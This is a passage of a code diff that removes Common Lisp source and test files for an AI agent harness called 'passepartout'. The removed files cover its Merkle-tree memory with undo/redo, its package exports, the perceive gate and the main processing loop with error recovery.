-  "Count memory objects and report any with missing/empty hashes.
-Returns (total . missing-hashes)."
-  (let ((total 0) (missing 0))
-    (maphash (lambda (id obj)
-               (declare (ignore id))
-               (when obj
-                 (incf total)
-                 (let ((h (memory-object-hash obj)))
-                   (when (or (null h) (string= h ""))
-                     (incf missing)))))
-             *memory-store*)
-    (cons total missing)))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-memory-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:memory-suite))
-
-(in-package :passepartout-memory-tests)
-
-(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
-(in-suite memory-suite)
-
-(test merkle-hash-consistency
-  "Contract 2: identical ASTs produce identical Merkle hashes."
-  (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
-    (clrhash passepartout::*memory-store*)
-    (let ((id1 (ingest-ast ast1)))
-      (let ((hash1 (memory-object-hash (memory-object-get id1))))
-        (clrhash passepartout::*memory-store*)
-        (let ((id2 (ingest-ast ast1)))
-          (is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
-
-(test merkle-hash-different
-  "Contract 2: distinct ASTs produce different Merkle hashes."
-  (clrhash passepartout::*memory-store*)
-  (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
-         (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
-         (id1 (ingest-ast ast1))
-         (id2 (ingest-ast ast2))
-         (hash1 (memory-object-hash (memory-object-get id1)))
-         (hash2 (memory-object-hash (memory-object-get id2))))
-    (is (not (equal hash1 hash2)))))
-
-(test test-ingest-ast-returns-id
-  "Contract 1: ingest-ast returns a string ID and stores the object."
-  (clrhash passepartout::*memory-store*)
-  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
-    (is (stringp id))
-    (is (not (null id)))))
-
-(test test-memory-object-get
-  "Contract 3: memory-object-get retrieves an object by ID after ingest."
-  (clrhash passepartout::*memory-store*)
-  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
-    (let ((obj (memory-object-get id)))
-      (is (not (null obj)))
-      (is (eq :HEADLINE (memory-object-type obj)))
-      (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
-
-(test test-snapshot-and-rollback
-  "Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
-  (clrhash passepartout::*memory-store*)
-  (setf passepartout::*memory-snapshots* nil)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
-  (snapshot-memory)
-  (clrhash passepartout::*memory-store*)
-  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
-  (rollback-memory 0)
-  (is (not (null (memory-object-get "snap-a"))))
-  (is (null (memory-object-get "snap-b"))))
-
-(test test-undo-snapshot-restore
-  "Contract v0.7.2: undo-snapshot captures state, undo restores."
-  (let ((orig-store passepartout::*memory-store*)
-        (orig-undo passepartout::*undo-stack*)
-        (orig-redo passepartout::*redo-stack*))
-    (unwind-protect
-         (progn
-           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
-                 passepartout::*undo-stack* nil
-                 passepartout::*redo-stack* nil)
-           (passepartout::undo-snapshot)
-           (setf (gethash "x" passepartout::*memory-store*) "hello")
-           (is (string= "hello" (gethash "x" passepartout::*memory-store*)))
-           (is (passepartout::undo))
-           (is (null (gethash "x" passepartout::*memory-store*))))
-      (setf passepartout::*memory-store* orig-store
-            passepartout::*undo-stack* orig-undo
-            passepartout::*redo-stack* orig-redo))))
-
-(test test-undo-redo-cycle
-  "Contract v0.7.2: redo restores undone state."
-  (let ((orig-store passepartout::*memory-store*)
-        (orig-undo passepartout::*undo-stack*)
-        (orig-redo passepartout::*redo-stack*))
-    (unwind-protect
-         (progn
-           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
-                 passepartout::*undo-stack* nil
-                 passepartout::*redo-stack* nil)
-           (passepartout::undo-snapshot)
-           (setf (gethash "y" passepartout::*memory-store*) "world")
-           (is (passepartout::undo))
-           (is (null (gethash "y" passepartout::*memory-store*)))
-           (is (passepartout::redo))
-           (is (string= "world" (gethash "y" passepartout::*memory-store*))))
-      (setf passepartout::*memory-store* orig-store
-            passepartout::*undo-stack* orig-undo
-            passepartout::*redo-stack* orig-redo))))
-
-(test test-undo-empty-stack-nil
-  "Contract v0.7.2: undo returns nil on empty stack."
-  (let ((orig-undo passepartout::*undo-stack*))
-    (unwind-protect
-         (progn (setf passepartout::*undo-stack* nil)
-                (is (null (passepartout::undo))))
-      (setf passepartout::*undo-stack* orig-undo))))
-
-(test test-audit-node-found
-  "Contract v0.7.2: audit-node returns info for existing object."
-  (clrhash passepartout::*memory-store*)
-  (setf (gethash "audit-1" passepartout::*memory-store*)
-        (passepartout::make-memory-object :id "audit-1" :type :HEADLINE
-                                         :version 1 :hash "abc123" :scope :memex))
-  (let ((info (passepartout::audit-node "audit-1")))
-    (is (not (null info)))
-    (is (eq :HEADLINE (getf info :type)))
-    (is (string= "abc123" (getf info :hash)))))
-
-(test test-audit-node-not-found
-  "Contract v0.7.2: audit-node returns nil for nonexistent id."
-  (is (null (passepartout::audit-node "nonexistent-xxxx"))))
-
-(test test-audit-verify-hash
-  "Contract v0.7.2: audit-verify-hash returns (total . missing)."
-  (clrhash passepartout::*memory-store*)
-  (setf (gethash "a" passepartout::*memory-store*)
-        (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
-  (let ((result (passepartout::audit-verify-hash)))
-    (is (= 1 (car result)))
-    (is (= 0 (cdr result)))))

lisp/core-package.lisp

@@ -1,317 +0,0 @@
-(defpackage :passepartout
-  (:use :cl)
-  (:export
-   ;; ── Core: Transport & Protocol ──
-   #:frame-message
-   #:read-framed-message
-   #:PROTO-GET
-   #:proto-get
-   #:make-hello-message
-   #:validate-communication-protocol-schema
-   #:start-daemon
-   #:register-actuator
-   #:actuator-initialize
-   #:action-dispatch
-
-   ;; ── Core: Pipeline ──
-   #:main
-   #:log-message
-   #:*log-buffer*
-   #:*log-lock*
-   #:process-signal
-   #:loop-process
-   #:perceive-gate
-   #:loop-gate-perceive
-   #:act-gate
-   #:loop-gate-act
-   #:reason-gate
-   #:loop-gate-reason
-   #:cognitive-verify
-   #:backend-cascade-call
-   #:json-alist-to-plist
-   #:stimulus-inject
-   #:register-probabilistic-backend
-   #:*probabilistic-backends*
-   #:*provider-cascade*
-
-   ;; ── Core: Memory ──
-   #:ingest-ast
-   #:memory-object-get
-   #:*memory-store*
-   #:memory-object
-   #:make-memory-object
-   #:memory-object-id
-   #:memory-object-type
-   #:memory-object-attributes
-   #:memory-object-parent-id
-   #:memory-object-children
-   #:memory-object-version
-   #:memory-object-last-sync
-   #:memory-object-vector
-   #:memory-object-content
-   #:memory-object-hash
-   #:memory-object-scope
-   #:memory-objects-by-attribute
-   #:snapshot-memory
-   #:rollback-memory
-   #:undo-snapshot
-   #:undo
-   #:redo
-   #:*undo-stack*
-   #:*redo-stack*
-
-   ;; ── Core: Context & Awareness ──
-   #:context-get-system-logs
-   #:context-assemble-global-awareness
-   #:context-awareness-assemble
-   #:context-query
-   #:push-context
-   #:pop-context
-   #:current-context
-   #:current-scope
-   #:context-stack-depth
-   #:context-save
-   #:context-load
-   #:focus-project
-   #:focus-session
-   #:focus-memex
-   #:unfocus
-   #:*scope-resolver*
-
-   ;; ── Core: Skills Engine ──
-   #:skill
-   #:skill-name
-   #:skill-priority
-   #:skill-dependencies
-   #:skill-trigger-fn
-   #:skill-probabilistic-prompt
-   #:skill-deterministic-fn
-   #:defskill
-   #:*skill-registry*
-   #:skill-initialize-all
-   #:load-skill-from-org
-   #:lisp-syntax-validate
-
-   ;; ── Core: Cognitive Tools ──
-   #:def-cognitive-tool
-   #:*cognitive-tool-registry*
-   #:cognitive-tool
-   #:cognitive-tool-name
-   #:cognitive-tool-description
-   #:cognitive-tool-parameters
-   #:cognitive-tool-guard
-   #:cognitive-tool-body
-   #:tool-read-only-p
-
-   ;; ── Security: Dispatcher ──
-   #:dispatcher-check-secret-path
-   #:dispatcher-check-shell-safety
-   #:dispatcher-check-privacy-tags
-   #:dispatcher-check-network-exfil
-   #:dispatcher-check
-   #:dispatcher-gate
-   #:wildcard-match
-
-   ;; ── Security: HITL ──
-   #:hitl-create
-   #:hitl-approve
-   #:hitl-deny
-   #:hitl-handle-message
-
-   ;; ── Security: Vault & Permissions ──
-   #:*VAULT-MEMORY*
-   #:vault-get
-   #:vault-set
-   #:vault-get-secret
-   #:vault-set-secret
-   #:get-tool-permission
-   #:set-tool-permission
-   #:check-tool-permission-gate
-   #:permission-get
-   #:permission-set
-   #:policy-compliance-check
-   #:validator-protocol-check
-
-   ;; ── Embedding ──
-   #:*embedding-backend*
-   #:*embedding-queue*
-   #:*embedding-provider*
-   #:embed-queue-object
-   #:embed-object
-   #:embed-all-pending
-   #:embedding-backend-hashing
-   #:embedding-backend-native
-   #:embedding-native-load-model
-   #:embedding-native-unload
-   #:embedding-native-ensure-loaded
-   #:embedding-native-get-dim
-   #:embeddings-compute
-   #:mark-vector-stale
-
-   ;; ── Channels ──
-   #:channel-cli-input
-   #:gateway-start
-   #:gateway-registry-initialize
-   #:messaging-link
-   #:messaging-unlink
-   #:gateway-configured-p
-
-   ;; ── Programming: Lisp ──
-   #:lisp-validate
-   #:lisp-structural-check
-   #:lisp-syntactic-check
-   #:lisp-semantic-check
-   #:lisp-eval
-   #:lisp-format
-   #:lisp-list-definitions
-   #:lisp-extract
-   #:lisp-inject
-   #:lisp-slurp
-
-   ;; ── Programming: Org ──
-   #:org-read-file
-   #:org-write-file
-   #:org-headline-add
-   #:org-headline-find-by-id
-   #:org-property-set
-   #:org-todo-set
-   #:org-id-generate
-   #:org-id-format
-   #:org-modify
-
-   ;; ── Programming: Literate & REPL ──
-   #:literate-tangle-sync-check
-   #:literate-extract-lisp-blocks
-   #:literate-block-balance-check
-   #:repl-eval
-   #:repl-inspect
-   #:repl-list-vars
-
-   ;; ── Symbolic ──
-   #:archivist-create-note
-   #:archivist-extract-headlines
-   #:archivist-headline-to-filename
-
-   ;; ── Diagnostics & Config ──
-   #:diagnostics-run-all
-   #:diagnostics-main
-   #:diagnostics-dependencies-check
-   #:diagnostics-env-check
-   #:get-oc-config-dir
-   #:run-setup-wizard
-
-   ;; ── Providers ──
-   #:register-provider
-   #:provider-openai-request
-   #:provider-config
-
-   ;; ── Token Economics ──
-   #:count-tokens
-   #:model-token-ratio
-   #:token-cost
-   #:provider-token-cost
-   #:cost-track-call
-   #:cost-session-total
-   #:cost-session-calls
-   #:cost-by-provider
-   #:cost-session-reset
-   #:cost-format-budget-status
-   #:cost-track-backend-call
-   #:prompt-prefix-cached
-   #:context-assemble-cached
-   #:enforce-token-budget
-   #:token-economics-initialize))
-
-(in-package :passepartout)
-
-(defvar *log-buffer* nil)
-(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
-(defvar *log-limit* 100)
-
-(defvar *skill-registry* (make-hash-table :test 'equal)
-  "Global registry of all loaded skills.")
-
-(defvar *telemetry-table* (make-hash-table :test 'equal))
-(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
-
-(defun telemetry-track (skill-name duration status)
-  "Updates performance metrics for a skill. STATUS is :success or :rejected."
-  (when skill-name
-    (bordeaux-threads:with-lock-held (*telemetry-lock*)
-      (let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0))))
-        (incf (getf entry :executions))
-        (incf (getf entry :total-time) duration)
-        (when (eq status :rejected) (incf (getf entry :failures)))
-        (setf (gethash skill-name *telemetry-table*) entry)))))
-
-(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
-
-(defstruct cognitive-tool
-  name
-  description
-  parameters
-  guard
-  body
-  read-only-p)
-
-(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
-  "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
-  `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
-         (make-cognitive-tool :name (string-downcase (string ',name))
-                              :description ,description
-                              :parameters ',parameters
-                              :guard ,guard
-                              :body ,body
-                              :read-only-p ,read-only-p)))
-
-(defun cognitive-tool-prompt ()
-  "Serialises all registered tools into a prompt string for the LLM."
-  (let ((descriptions nil))
-    (maphash (lambda (k tool)
-               (declare (ignore k))
-               (push (format nil "- ~a: ~a~%  Parameters: ~a~%"
-                             (cognitive-tool-name tool)
-                             (cognitive-tool-description tool)
-                             (cognitive-tool-parameters tool))
-                     descriptions))
-              *cognitive-tool-registry*)
-    (if descriptions
-        (format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<)))
-        "No tools registered.")))
-
-;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
-(defun generate-tool-belt-prompt ()
-  (cognitive-tool-prompt))
-
-(defun tool-read-only-p (name)
-  "Returns T if the named cognitive tool is read-only, NIL otherwise."
-  (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
-    (when tool
-      (cognitive-tool-read-only-p tool))))
-
-(defun log-message (msg &rest args)
-  "Centralized, thread-safe logging for the harness."
-  (let ((formatted-msg (apply #'format nil msg args)))
-    (bordeaux-threads:with-lock-held (*log-lock*)
-      (push formatted-msg *log-buffer*)
-      (when (> (length *log-buffer*) *log-limit*)
-        (setq *log-buffer* (subseq *log-buffer* 0 *log-limit*))))
-    (format t "~a~%" formatted-msg)
-    (finish-output)))
-
-(setf *debugger-hook* (lambda (condition hook)
-  "Friendly error handler - shows diagnostic message instead of raw debugger."
-  (declare (ignore hook))
-  (format t "~%")
-  (format t "┌─────────────────────────────────────────────┐~%")
-  (format t "│  ERROR: ~A~%" (type-of condition))
-  (format t "│~%")
-   (format t "│  Run: passepartout diagnostics~%")
-  (format t "│  For system diagnostics~%")
-  (format t "└─────────────────────────────────────────────┘~%")
-  (format t "~%")
-  (format t "Details: ~A~%" condition)
-  (format t "Backtrace:~%")
-  (sb-debug:print-backtrace :count 20 :stream *standard-output*)
-  (finish-output)
-  (uiop:quit 1)))

lisp/core-perceive.lisp

@@ -1,159 +0,0 @@
-(in-package :passepartout)
-
-(defvar *loop-interrupt* nil)
-
-(defvar *scope-resolver* nil
-  "If set, function returning current scope keyword. Used by perceive gate.")
-
-(defvar *loop-async-sensors* '(:chat-message :delegation :user-command)
-  "Sensors that are processed in dedicated threads.")
-
-(defvar *loop-focus-id* nil
-  "The Org ID of the node the user is currently interacting with.")
-
-(defvar *pre-reason-handlers* (make-hash-table :test 'eq)
-  "Pre-reason handler registry: sensor keyword → handler function.")
-
-(defun register-pre-reason-handler (sensor fn)
-  "Registers FN to handle signals with SENSOR in the perceive gate.
-FN receives (signal) and returns T if consumed, nil to continue."
-  (setf (gethash sensor *pre-reason-handlers*) fn))
-
-(defun stimulus-inject (raw-message &key stream (depth 0))
-  "Inject a raw message into the signal processing pipeline."
-  (let* ((payload (getf raw-message :payload))
-         (sensor (getf payload :sensor))
-         (meta (getf raw-message :meta))
-         (async-p (or (getf payload :async-p)
-                     (member sensor *loop-async-sensors*))))
-
-    (unless meta
-      (setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal")))
-
-    (when stream
-      (setf (getf meta :reply-stream) stream))
-
-    (setf (getf raw-message :meta) meta)
-    (setf (getf raw-message :depth) depth)
-
-    (if async-p
-        (bt:make-thread
-         (lambda ()
-           (restart-case (process-signal raw-message)
-             (skip-event () nil)))
-         :name "passepartout-async-task")
-        
-        (restart-case
-            (handler-bind ((error (lambda (c)
-                                    (log-message "SYSTEM ERROR: ~a" c)
-                                    (invoke-restart 'skip-event))))
-              (process-signal raw-message))
-          (skip-event ()
-            (log-message "SYSTEM RECOVERY: Stimulus dropped."))))))
-
-(defun loop-gate-perceive (signal)
-  "Stage 1 of the metabolic pipeline: Normalize sensory input."
-  (let* ((payload (getf signal :payload))
-          (type (getf signal :type))
-          (meta (getf signal :meta))
-          (sensor (getf payload :sensor)))
-    ;; HITL: intercept approval/denial commands before LLM processing
-    (when (and (eq sensor :user-input)
-               (stringp (getf payload :text)))
-      (let ((text (getf payload :text)))
-        (when (ignore-errors (hitl-handle-message text (getf meta :source)))
-          (log-message "GATE [Perceive]: HITL command processed — ~a" text)
-          (return-from loop-gate-perceive signal))))
-    ;; Pre-reason handlers: dispatch custom sensors to registered skill handlers
-    (let ((handler (gethash sensor *pre-reason-handlers*)))
-      (when handler
-        (when (funcall handler signal)
-          (return-from loop-gate-perceive signal))))
-
-    (log-message "GATE [Perceive]: ~a (~a) [Source: ~s]"
-                 type (or sensor "no-sensor") (getf meta :source))
-
-    (cond ((eq type :EVENT)
-            (case sensor
-              (:buffer-update
-               (let ((ast (getf payload :ast)))
-                 (when ast
-                   (snapshot-memory)
-                   (ingest-ast ast :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
-              (:point-update
-               (let ((element (getf payload :element)))
-                 (when element
-                   (snapshot-memory)
-                   (setf *loop-focus-id* (getf element :id))
-                   (ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
-               (:interrupt
-                (setf *loop-interrupt* t))
-               ;; v0.7.2 undo/redo
-               (:undo
-                (log-message "GATE [Perceive]: undo requested")
-                (undo "perceive"))
-               (:redo
-                (log-message "GATE [Perceive]: redo requested")
-                (redo "perceive"))
-              ;; HITL: re-injected approved action from dispatcher-approvals-process
-              (:approval-required
-               (when (getf payload :approved)
-                 (log-message "GATE [Perceive]: Approved Flight Plan re-injected")
-                  (setf (getf signal :approved) t)
-                 (setf (getf signal :approved-action) (getf payload :action))))
-              ;; Default sensor: pass through without requiring user-input processing
-              (otherwise
-               (log-message "GATE [Perceive]: Unknown sensor ~a, passing through" sensor))))
-          ((eq type :RESPONSE)
-           (log-message "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
-
-    (setf (getf signal :status) :perceived)
-    (setf (getf signal :foveal-focus) *loop-focus-id*)
-    signal))
-
-(defun perceive-gate (signal)
-  (loop-gate-perceive signal))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-pipeline-perceive-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:pipeline-perceive-suite))
-
-(in-package :passepartout-pipeline-perceive-tests)
-
-(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
-(in-suite pipeline-perceive-suite)
-
-(test test-loop-gate-perceive
-  "Contract 1: :buffer-update ingests AST and sets :perceived status."
-  (clrhash passepartout::*memory-store*)
-  (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
-         (result (loop-gate-perceive signal)))
-    (is (eq :perceived (getf result :status)))
-    (is (not (null (gethash "test-node" passepartout::*memory-store*))))))
-
-(test test-depth-limiting
-  "Edge: depth 11 signals are rejected by the pipeline."
-  (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
-    (is (null (process-signal runaway-signal)))))
-
-(test test-loop-gate-perceive-unknown-sensor
-  "Contract 1: unknown sensors pass through and reach :perceived."
-  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
-         (result (loop-gate-perceive signal)))
-    (is (eq :perceived (getf result :status)))))
-
-(test test-loop-gate-perceive-no-ast
-  "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
-  (clrhash passepartout::*memory-store*)
-  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
-         (result (loop-gate-perceive signal)))
-    (is (eq :perceived (getf result :status)))))
-
-(test test-depth-limiting-normal
-  "Contract 1: signals at normal depth pass through without rejection."
-  (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
-    (is (not (eq :rejected (getf normal-signal :status)))
-        "Signal at normal depth should not be rejected")))

lisp/core-pipeline.lisp

@@ -1,232 +0,0 @@
-(in-package :passepartout)
-
-(define-condition passepartout-error (error)
-  ((message :initarg :message :reader error-message))
-  (:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
-  (:documentation "Root of the pipeline error hierarchy."))
-
-(define-condition pipeline-error (passepartout-error)
-  ((signal :initarg :signal :reader pipeline-error-signal :initform nil))
-  (:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
-  (:documentation "Any error during the Perceive→Reason→Act cycle."))
-
-(define-condition llm-error (pipeline-error)
-  ((provider :initarg :provider :reader llm-error-provider)
-   (cascade :initarg :cascade :reader llm-error-cascade :initform nil)
-   (attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
-  (:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
-  (:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
-
-(define-condition gate-error (pipeline-error)
-  ((gate-name :initarg :gate-name :reader gate-error-gate-name)
-   (rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
-  (:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
-  (:documentation "Deterministic gate blocked a proposed action."))
-
-(define-condition budget-error (pipeline-error)
-  ((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
-   (requested :initarg :requested :reader budget-error-requested :initform 0.0))
-  (:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
-  (:documentation "Session budget cap has been reached."))
-
-(define-condition protocol-error (passepartout-error)
-  ((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
-  (:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
-  (:documentation "Malformed message, framing failure, or schema violation."))
-
-(defvar *interrupt-flag* nil
-  "Atomic flag set by signal handlers to trigger graceful shutdown.")
-
-(defvar *loop-interrupt-lock* (bt:make-lock "harness-interrupt-lock")
-  "Mutex protecting *interrupt-flag* access.")
-
-(defvar *heartbeat-thread* nil
-  "Handle to the heartbeat thread.")
-
-(defun loop-process (signal)
-  "The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
-  (let ((current-signal signal))
-    (loop while current-signal do
-      (let ((depth (getf current-signal :depth 0))
-            (meta (getf current-signal :meta)))
-        (when (> depth 10)
-          (log-message "METABOLISM ERROR: Max recursion depth reached.")
-          (return nil))
-
-        (when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*)
-          (log-message "METABOLISM: Interrupted by shutdown signal.")
-          (return nil))
-
-        (restart-case
-            (handler-bind
-                ((pipeline-error (lambda (c)
-                                   (log-message "PIPELINE ERROR: ~a" (error-message c)))))
-              (handler-case
-                  (progn
-                    (setf current-signal (perceive-gate current-signal))
-                    (setf current-signal (reason-gate current-signal))
-                    (let ((feedback (act-gate current-signal)))
-                      (if feedback
-                          (progn
-                            (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
-                            (setf current-signal feedback))
-                          (setf current-signal nil))))
-                (error (c)
-                  (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
-                    (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
-                    (unless (member sensor '(:loop-error :tool-error :syntax-error))
-                      (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
-                      (rollback-memory 0))
-                    (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
-                        (setf current-signal nil)
-                        (setf current-signal
-                              (list :type :EVENT :depth (1+ depth) :meta meta
-                                    :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
-          (skip-signal ()
-            :report "Drop the current signal and continue the loop."
-            (setf current-signal nil))
-          (use-fallback (text)
-            :report "Inject a canned response instead of the LLM result."
-            (setf current-signal
-                  (list :type :EVENT :depth (1+ depth) :meta meta
-                        :payload (list :sensor :loop-error :message text :depth depth))))
-          (abort-pipeline ()
-            :report "Terminate the cognitive cycle cleanly."
-            (return nil)))))))
-
-(defun process-signal (signal)
-  (loop-process signal))
-
-(defvar *memory-auto-save-interval* 300)
-
-(defvar *heartbeat-save-counter* 0)
-
-(defun heartbeat-start ()
-  "Starts the background heartbeat thread."
-  (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
-        (auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) *memory-auto-save-interval*)))
-    (setf *memory-auto-save-interval* auto-save)
-    (setf *heartbeat-save-counter* 0)
-
-    (setf *heartbeat-thread*
-          (bt:make-thread
-           (lambda ()
-             (loop
-               (sleep interval)
-               (incf *heartbeat-save-counter*)
-               (when (>= *heartbeat-save-counter* (/ *memory-auto-save-interval* interval))
-                 (setf *heartbeat-save-counter* 0)
-                 (save-memory-to-disk))
-               (stimulus-inject
-                  (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
-           :name "passepartout-heartbeat"))))
-
-(defvar *shutdown-save-enabled* t)
-
-(defvar *system-health* :unknown
-  "Current system health status: :healthy, :degraded, :unhealthy, or :unknown.")
-
-(defvar *health-check-ran* nil
-  "Flag indicating if initial health check has completed.")
-
-(defun diagnostics-startup-run ()
-  "Runs the doctor diagnostics on startup. Returns health status."
-  (format t "~%")
-  (format t "==================================================~%")
-  (format t " DOCTOR: Running Startup Health Check~%")
-  (format t "==================================================~%")
-  (handler-case
-      (progn
-         (when (fboundp 'diagnostics-run-all)
-           (let ((result (diagnostics-run-all :auto-install nil)))
-            (setf *health-check-ran* t)
-            (if result
-                (progn
-                  (setf *system-health* :healthy)
-                  (format t "DAEMON: Health check passed. Starting services.~%"))
-                (progn
-                  (setf *system-health* :degraded)
-                  (format t "DAEMON: Health check found issues.~%")
-                   (format t "         Run 'passepartout diagnostics' to repair.~%")))))
-        (setf *health-check-ran* t))
-    (error (c)
-       (format t "DIAGNOSTICS ERROR: ~a~%" c)
-      (setf *system-health* :unhealthy)
-      (setf *health-check-ran* t)))
-  (format t "==================================================~%~%"))
-
-(defun main ()
-  "Entry point for Passepartout. Initializes the system and enters idle loop."
-  (let* ((home (uiop:getenv "HOME"))
-         (env-file (uiop:merge-pathnames* ".config/passepartout/.env" (uiop:ensure-directory-pathname home))))
-    (when (uiop:file-exists-p env-file)
-      (cl-dotenv:load-env env-file)))
-
-  (load-memory-from-disk)
-  (actuator-initialize)
-  (skill-initialize-all)
-  
-  ;; Run proactive diagnostics before starting services
-  (diagnostics-startup-run)
-  
-  (when (fboundp 'events-start-heartbeat)
-    (events-start-heartbeat))
-  (start-daemon)
-
-  #+sbcl
-  (sb-sys:enable-interrupt sb-unix:sigint
-                            (lambda (sig code scp)
-                              (declare (ignore sig code scp))
-                              (log-message "SHUTDOWN: SIGINT received. Saving memory...")
-                              (when *shutdown-save-enabled* (save-memory-to-disk))
-                              (uiop:quit 0)))
-
-  (let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600)))
-    (loop
-      (when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*)
-        (log-message "SHUTDOWN: Interrupt flag set. Saving memory...")
-        (when *shutdown-save-enabled* (save-memory-to-disk))
-        (return))
-      (sleep sleep-interval))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-immune-system-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:immune-suite))
-
-(in-package :passepartout-immune-system-tests)
-
-(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
-(in-suite immune-suite)
-
-(test loop-error-injection
-  "Contract 1: a crash in think/decide triggers :loop-error stimulus."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout:defskill :evil-skill
-    :priority 100
-    :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
-    :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
-    :deterministic nil)
-  (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
-  (let ((logs (if (fboundp 'passepartout::context-get-system-logs)
-                  (passepartout:context-get-system-logs 20)
-                  nil)))
-    (is (or (null logs)  ; no log service available — degraded but not broken
-            (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
-
-(test test-process-signal-normal-path
-  "Contract 1: a valid signal passes through the pipeline without crash."
-  (clrhash passepartout::*skill-registry*)
-  (handler-case
-      (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
-        (process-signal signal)
-        (pass))
-    (error (c)
-      (fail "Pipeline crashed on normal signal: ~a" c))))
-
-(test test-loop-process-returns-nil-on-deep
-  "Contract 1: depth > 10 returns nil from loop-process."
-  (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
-    (is (null result))))

lisp/core-reason.lisp

@@ -1,508 +0,0 @@
-(in-package :passepartout)
-
-(defvar *probabilistic-backends* (make-hash-table :test 'equal)
-  "Maps provider keyword → handler function (prompt system-prompt &key model).")
-
-(defun register-probabilistic-backend (name fn)
-  "Register FN as the handler for provider NAME."
-  (setf (gethash name *probabilistic-backends*) fn))
-
-(defvar *provider-cascade* nil)
-
-(defvar *model-selector* nil)
-
-(defvar *consensus-enabled* nil)
-
-(defun backend-cascade-call (prompt &key
-                                (system-prompt "You are the Probabilistic engine.")
-                                (cascade nil)
-                                (context nil)
-                                tools)
-  (let ((backends (or cascade *provider-cascade*))
-        (result nil))
-    (dolist (backend backends (or result
-                                   (list :type :LOG
